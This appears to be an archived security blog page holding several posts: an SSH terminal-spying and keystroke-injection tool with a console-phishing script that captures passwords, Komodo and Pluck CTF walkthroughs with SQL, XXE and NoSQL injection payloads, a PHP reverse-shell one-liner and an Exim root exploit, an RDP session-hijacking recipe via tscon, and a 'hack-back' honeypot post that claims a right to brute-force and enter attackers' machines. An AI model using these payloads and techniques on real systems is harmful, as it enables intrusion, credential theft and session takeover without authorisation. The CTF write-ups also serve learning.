Saturday, September 30, 2017

SSHPry v2 - Spy & Control SSH Connected client's TTY



- What if we'll have a tool that can show us a terminal of active SSH connection?
and... maybe... control it? Record it? Investigate?

I always curious about what can be done after you somehow got root and already talked about some techniques of post exploitation with highly privileged accounts:
1. SSH Snooping
2. RDP Session Hijacking

Today I want to talk about linux terminals - TTYs.

Hurry? Scroll down to Demo.


- Observation -

Every *nix user should already know about GNU Screen, especially of it's '-x' multi display mode feature, that allows to observe an attached screen session.
That's cool, but what if we don't have screen on the target machine?

I don't know nothing about terminal emulators, so i can make mistakes, but...
As mentioned in SSH Snooping attack, we can utilize 'strace' to get all process' syscalls read/write including root's password.

As you may already know, I've implemented this technique to get ALL read() strings of connected ssh client in SSHPry.py script that mirrors a terminal of connected SSH client.



BTW, main python trick was 'string'.decode('string_escape') and voila we've got identical terminal session!

So far so good, but not enough, we need full control.

- Taking Control -

Firstly, I wondered how can I send some data or keystrokes to another TTY. Because if you make something like this:
echo 123 > /dev/pts/19
It will appear on that TTY but only as standard output, meaning, if you press Enter - nothing happens.



I've found utility in C that actually sends data to another TTY, but the downside that it needs to be compiled. Luckily google come up with python library that can do that!

import termios, fcntl
import sys

command = sys.argv[1]
tty = sys.argv[2]

with open(tty) as f:
   for c in command.decode('string_escape'):
      fcntl.ioctl(f,termios.TIOCSTI,c)



Secondly, thanks to enrico.bacis answer on StackOverflow, I've learned how to catch my keyboard input.

By combining all these techniques and spawning two separate threads one for echoing 'strace' strings to our terminal and second for transferring our standard input to target TTY we get a tool that replicates GNU screen '-x' feature without screen itself with couple more #redteam and #blueteam related cool features.

Once we get full control over the session, and we get all strings - we can make some phishing :)

- Console-Level Phishing -

As we already know 'echo 123 > /dev/pts/TTY'  does not affect terminal except standard output, we can create custom phishing messages to target user/tty.
Furthermore, we can utilize terminal escape sequences, which described here and here, then craft a realistic phishing message:

We see login keyring message, but instead we have executed some evil script:

import termios, fcntl
import sys
from time import sleep

tty = sys.argv[1]

command = 'python -c \'exec("aW1wb3J0IGdldHBhc3MNdHJ5Og0gZ2V0cGFzcy5nZXRwYXNzKCkNZXhjZXB0Og0gcGFzcw0=".decode("base64"))\'\n'
message = '\033[2A\033[2K\r'+' '*(len(command)+20)
message += '\nEnter password to unlock your login keyring:'

with open(tty) as f:
   for c in command.decode('string_escape'):
      fcntl.ioctl(f,termios.TIOCSTI,c)
sleep(0.05)
with open(tty,'w') as f:
   f.write(message)

While listening to all strings with 'strace', we can get clear-text password of any logged in user, especially root.

- Record & Replay -

While the initial idea was offensive, once I've developed the tool came out that it can be useful to all kind of defenders: Blue-Teams, Incident Response and Forensics.

I've developed a feature that allows to record an SSH session of connected client, and then replay it to investigate what happened.


- Demo -



- Get It -

Developed under GNU General Public License v 3.0
https://github.com/nopernik/SSHPry2.0


Friday, July 14, 2017

Install Metasploit the easy way without RVM

Install metasploit the easy way

Don't copy&paste, think before.
- wget https://cache.ruby-lang.org/pub/ruby/stable-snapshot.tar.gz && tar xzf stable-snapshot.tar.gz && cd stable-snapshot
- Debian: apt-get install gcc libpq-dev libsqlite3-dev zlib1g-dev libssl-dev readline-common libpq-dev libpcap-dev
- Centos: yum install gcc gcc-c++ zlib-devel openssl-devel readline-devel postgresql-devel libpcap-devel sqlite-devel
- ./configure && make && make install && cd ..
- git clone https://github.com/rapid7/metasploit-framework
- gem install bundle
- cd metasploit-framework && bundle install
- Make symlinks: for MSF in $(ls msf*); do ln -s `pwd`/$MSF /usr/local/bin/$MSF;done

Thursday, June 29, 2017

Easy Komodo CTF Walkthrough/Solutions. Wasted 2:45h of my life.

Easy challenges by Komodo Israel, completed in 2 hours 45 minutes (have proof :).

For the report, original leader-board looked like this:


Challenge 1 - Union based SQL Injection:


GET Request:
http://ctf.komodosec.com/challenge-1.php?city=lame-challenge' union select 1,flag,3,4,5 from flags%23

Challenge 2 - SQL Injection via ORDER/GROUP by:


GET Request:
http://ctf.komodosec.com/challenge-2.php?city=lame-challenge2&ob=extractvalue(0x0a,concat(0x0a,(select flag from flags)))-BR

Challenge 3 - XXE:


Enable hidden form:


POST Request:
data=<?xml version="1.0" ?>
<!DOCTYPE nopernik [
<!ENTITY lame-xxe SYSTEM "php://filter/convert.base64-encode/resource=/var/www/html/challenge-3.php">]>
<books><book>%26lame-xxe;</book></books>


Challenge 4 - Variable assignment via extract():


Get hint and PHP source code:
root@nopernik:~# echo ICcnLmpvaW4oW2NocihvcmQoaSleODIpIGZvciBpIGluICdcJyE3ciQ7NyUhPVwnIDE3ciIzIDM/J10p|base64 -d
 ''.join([chr(ord(i)^82) for i in '\'!7r$;7%!=\' 17r"3 3?'])

root@nopernik:~# python
>>> ''.join([chr(ord(i)^82) for i in '\'!7r$;7%!=\' 17r"3 3?'])
'use viewsource param'
>>>
GET Request:
http://ctf.komodosec.com/challenge-4.php?viewsource=lame-challenge

From source code we can understand that the main functionality of the script is to send email. We have to find out how to inject our email address into $sendTo variable.
For that purpose we will utilize extract() function, which will assign every value from given array to variable named by key name. $_GET[] - is an array that will passed to extract() function. We can manipulate that array via GET Request.
Also we can see that the script will print out $error value. Let's verify that:
GET http://ctf.komodosec.com/challenge-4.php?extract=p&error=lame-challenge
We will see lame-challenge in server's response.

Next, we want to change $sendTo variable, luckily it is assigned before extract() function.

http://ctf.komodosec.com/challenge-4.php?extract=p&sendTo=nopernik@gmail.com
Check your spam folder.

Challenge 5 - Weak encryption:


Once we log in with some name except "admin" we will get cookie:
my_session=StxtqfSPt%2BE1WNG9wdoUCauaqGP%2FKu0wGciMJkwnxoA%3D
Then by decoding that cookie and changing the first character, we will see the server's output changed.

Using "bdmin" account, by changing the first character, we can easily bruteforce cookie for "admin" account with only 256 requests.

Python one-liner script that will generate all possible variations:
a='your_cookie'.decode('base64'); print ''.join([(chr(i)+a[1:]).encode('base64') for i in range(256)])

Paste 256 resulting lines into intruder, and get your flag:



Challenge 6 - NO SQL Injection:


Everyone stucks with overflow the stack with 1885979.
But if you goolge it, you will get https://stackoverflow.com/questions/1885979/php-get-variable-array-injection
Arrays?? NO SQL Injection.

POST Request:
name[$ne]=&password[$ne]=&submit=Submit+Form

Challenge 7 - MongoDB Injection:


MongoDB & Javascript

POST Request:
question='});return db.getCollectionNames();}//&validate=Ask




Friday, March 17, 2017

Passwordless RDP Session Hijacking Feature All Windows versions

* This post periodically updated, all updates in the end of the post.

Update: Added Windows Server 2016 Datacenter Demo

Hey there,

Blogpost in 20 seconds: Fun with sethc backdoored host :) somewhere in the internet:


Recently i've played with sethc/utilman logon screen backdoors, and almost everytime i used just command line.
Occasionally i've looked at Users tab in Task Manager (taskmgr.exe), and clicked connect button, and surprisingly i've got connected to selected user's session.



When i checked it again with local admin rights, it failed by asking user's password.
Why and how that happened? Let's dig deeper.

Related to Microsoft documentation:
https://technet.microsoft.com/en-us/library/cc770988(v=ws.11).aspx
https://technet.microsoft.com/en-us/library/cc731007(v=ws.11).aspx

we can see couple important remarks:

Remarks

  • You must have Full Control access permission or Connect special access permission to connect to another session.
  • The /dest:<SessionName> parameter allows you to connect the session of another user to a different session.
  • If you do not specify a password in the <Password> parameter, and the target session belongs to a user other than the current one, tscon fails (not really).
I've got it! Sticky Keys (cmd backdoor) at windows login screen runs with NT AUTHORITY/SYSTEM and have Full Control access permission, and can connect to EVERY user session without asking for a password.

So we've got a session hijacking here. The most funny thing is that the legit user isn't asked for logout, by using this technique the user just will be kicked out of the session without any notification.


Attack Vector Details:

A privileged user, which can gain command execution with NT AUTHORITY/SYSTEM rights can hijack any currently logged in user's session, without any knowledge about his credentials.
Terminal Services session can be either in connected or disconnected state.

This is high risk vulnerability which allows any local admin to hijack a session and get access to:
1. Domain admin session.
2. Any unsaved documents, that hijacked user works on.
3. Any other systems/applications in which hijacked user previously logged in (May include another Remote Desktop sessions, Network Share mappings, applications which require another credentials, E-mail etc.)
feature

Example scenario: 

Some bank employee have access to billing system, and it's credentials to login.
One day, he come to work, logging in to the billing system and start to work. At lunch time he will lock his workstation, and out to lunch.
Then, system administrator gets to employee's workstation, and logs in with his administrator's account.
According to the bank's policy, administrator's account should not have access to the billing system, but with couple of built-in commands in windows, this system administrator will hijack employee's desktop which he leaved locked. From now, sysadmin can perform malicious actions in billing system as billing employee account.

There are huge amount of scenarios like this.

Furthermore, an attacker doesn't need to use tools like metasploit, incognito, mimikatz etc, which is commonly used for user's token manipulation and impersonating logged in users. Everything is done with built-in commands. Every admin can impersonate any logged in user either locally with physical access or remotely via Remote Desktops (see PoC).


Tested on:

Windows 2016 (Confirmed by Kevin Beaumont @GossiTheDog)
Windows 2012 R2
Windows 2008
Windows 10
Windows 7


We can talk about endless amount of examples.

It can be done remotely, as shown in Proof of Concepts.

An attacker can hijack active or disconnected session remotely via remote desktops.
I use this technique about three weeks in my on-going penetration tests on daily basis. It in very simple way helps me to get access to sensitive information like emails, opened documents, clear-text passwords that administrators write down in notepad (not intended for saving, but for temporally writing it somewhere), opened RDP sessions to another external domains (think cloud), or another applications that make use of different login credentials.

Someone can say, if you admin, you can dump server's memory and parse it. That's correct, but you don't need it any more. Just two simple commands and you are in. The most incredible thing, is that I don't need to know the credentials of hijacked user, it is pure passwordless hijacking.

A successful attack heavily related on time and gathered information. If you need to dump a memory, to get your sensitive info, you're in problem. That means that you've tried all quick-wins that you know.

In example of hijacking user (active or disconnected) while he is working now remotely on some sensitive server that i have no access to, and haven't even knew about it, this technique allows me to compromise that server in less than a minute. Everything is real and from my own experience.

Furthermore, as I understand it is very hard to catch if this attack happen. Kevin Beaumont @GossiTheDog make an alert on tscon.exe usage, with Microsoft OMS.

I had a conversation about this finding with Benjamin Delpy @gentilkiwi author of mimikatz:
"That is normal Windows API, that's the design flow, they use it. As mentioned earlier, if you admin, you can do everything. But here is the point. Why and HOW you become admin? If some unprivileged user becomes admin using some kind of local privilege escalation - that's the problem and not the design flow we are talking about. You can do everything, even patch terminal services the way that it will accept your token and allow shadowing mode, without user's knowledge.", he said.

Proof of Concept:


Microsoft documentation helps us to do that from command line:

All we need is NT AUTHORITY/SYSTEM command line. 
Easiest method with psexec, but requires psexec.exe to be there: 
psexec -s \\localhost cmd

Another method is to create a service that will connect selected session to ours.

1. Get all sessions information:
C:\Windows\system32>query user
 USERNAME              SESSIONNAME        ID  STATE   IDLE TIME  LOGON TIME
 administrator                             1  Disc            1  3/12/2017 3:07 PM
>localadmin            rdp-tcp#55          2  Active          .  3/12/2017 3:10 PM

C:\Windows\system32>
2. Create service which will hijack user's session:
C:\Windows\system32>sc create sesshijack binpath= "cmd.exe /k tscon 1 /dest:rdp-tcp#55"
[SC] CreateService SUCCESS
3. Start service:
net setart sesshijack

Right after that your session will be replaced with target session.

Proof of Concept video:

Windows Server 2016 Demo (new):

Windows 7 via Task Manager:

https://youtu.be/oPk5off3yUg

Windows 7 via command line:

https://youtu.be/VytjV2kPwSg

Windows 2012 R2 via service creation:

https://youtu.be/OgsoIoWmhWw




Update:  has found that before in 2011, so that is a feature and not zero-day: http://blog.gentilkiwi.com/securite/vol-de-session-rdp

Update: If you still think that this don't have high attack value, read a great writeup by Kevin Beaumont about this feature:
https://medium.com/@networksecurity/rdp-hijacking-how-to-hijack-rds-and-remoteapp-sessions-transparently-to-move-through-an-da2a1e73a5f6

Update: RedSnarf has now support in RDP Hijacking https://www.youtube.com/watch?v=VrF8uXK_ePY


Wednesday, March 15, 2017

Pluck 1 CTF

Love this challenge :)
The main point I think, is to pay attention to details. It is most important.

Ok let's start:

Nmap scan report for 172.16.3.4
Host is up (0.00099s latency).
Not shown: 97 closed ports
PORT     STATE SERVICE
22/tcp   open  ssh
80/tcp   open  http
3306/tcp open  mysql
MAC Address: 00:0C:29:01:7F:D6 (VMware)

In web application we find straitforward LFI:
http://10.0.0.1/index.php?page=/etc/passwd

Shows us two interesting rows:

paul:x:1002:1002:,,,:/home/paul:/usr/bin/pdmenu (next challenge?)
backup-user:x:1003:1003:Just to make backups easier,,,:/backups:/usr/local/scripts/backup.sh

Let's see backup.sh script:
http://172.16.3.4/index.php?page=/usr/local/scripts/backup.sh

#Backup directories in /backups so we can get it via tftp

echo "Backing up data"
tar -cf /backups/backup.tar /home /var/www/html > /dev/null 2& > /dev/null

Seems that tftp server running.
tftp> get backup.tar
Received 1824718 bytes in 0.3 seconds
tftp> exit

tar xvf backup.tar
Digging in backups...
admin.php is sql injection trolling so there is no sql injection

/home/paul/keys/ : a lot of private/public keys pairs found

working key:
ssh -i id_key4 paul@pluck

In all options, arbitrary command can be executed via $(id).
Using php reverse shell one liner:
$(php -r '$sock=fsockopen("10.0.0.1",80);exec("/bin/sh -i <&3 >&3 2>&3");')
and listener:
nc -lvp 80
Listening on [0.0.0.0] (family 0, port 80)
Connection from [10.0.0.1] port 80 [tcp/http] accepted (family 2, sport 53278)
$ id
uid=1002(paul) gid=1002(paul) groups=1002(paul)
Finding for SUID files:
find / -perm -4000 -ls 2>/dev/null

Reveal us a vulnerable Exim application:
   153966   1024 -rwsr-xr-x   1 root     root      1046368 Jan 18 08:54 /usr/exim/bin/exim-4.84-7

Exploit is very simple and trivial to use, also you may find a hint in .viminfo file
Seems to be Exim local privilege escalation testing and the author forgot to clean it properly :)
-'  1  0  /tmp/asdf.pm
-'  4  0  /tmp/test.pm
Let's try:
exploit-database: 39535
...snip
$ PERL5LIB=/tmp PERL5OPT=-Mroot /usr/exim/bin/exim -ps
id
uid=0(root) gid=1002(paul) groups=1002(paul)
$ cd /root
$ ls
flag.txt
$ cat flag.txt

Congratulations you found the flag

---------------------------------------

######   ((((((((((((((((((((((((((((((
#########   (((((((((((((((((((((((((((
,,##########   ((((((((((((((((((((((((
@@,,,##########   (((((((((((((((((((((
@@@@@,,,##########                     
@@@@@@@@,,,############################
@@@@@@@@@@@,,,#########################
@@@@@@@@@,,,###########################
@@@@@@,,,##########                    
@@@,,,##########   &&&&&&&&&&&&&&&&&&&&
,,,##########   &&&&&&&&&&&&&&&&&&&&&&&
##########   &&&&&&&&&&&&&&&&&&&&&&&&&&
#######   &&&&&&&&&&&&&&&&&&&&&&&&&&&&&
Cool :)
Uptime: 45 min

Wednesday, March 1, 2017

sudo.co.il - Nopernik's Attacking Honeypot. ("NAH") или нах!

NAH is distributed system, which is located in most parts of the world.
On each system you can find this Terms of Use.

Terms of use.

By using any of provided services, you completely agree with next statements:

1. Once you send me SYN packet to commonly used ports that involved in botnet bruteforce attacks, which include but not limited to SSH and/or RDP, you provide to "NAH" and the owner exclusive right to attack back in any way your public IP address, disclose/share/sell your IP and/or data to the public, including wordlist that have been used in your attack.

2. Once correct credentials recovered, you completely agree and provide to "NAH"/owner/third parties choosed by the owner exclusive right to perform any manipulation with your machine and/or IP and/or internet access, you agree to removal of all known/unknown malicious software and/or botnet agents.

3. With that said, you provide to "NAH" and the owner FULL and LEGAL access to your network-connected device.

# ./attackback.py 
Found a new jerk! [censured].XXX.XXX:22
Bruteforcing SSH: [censured].XXX.XXX 

[22][ssh] host: [censured].XXX.XXX   login: root   password: ThisPassw0rdMightBeDefault!
1 of 1 target successfully completed, 1 valid password found

Credentials found!

Getting whois info...
Gathering system information...
Finding malware/botnet agents...
Found! Removing...
Sending email...

Waiting for another one...


Proof of Concept will be soon. Stay tuned.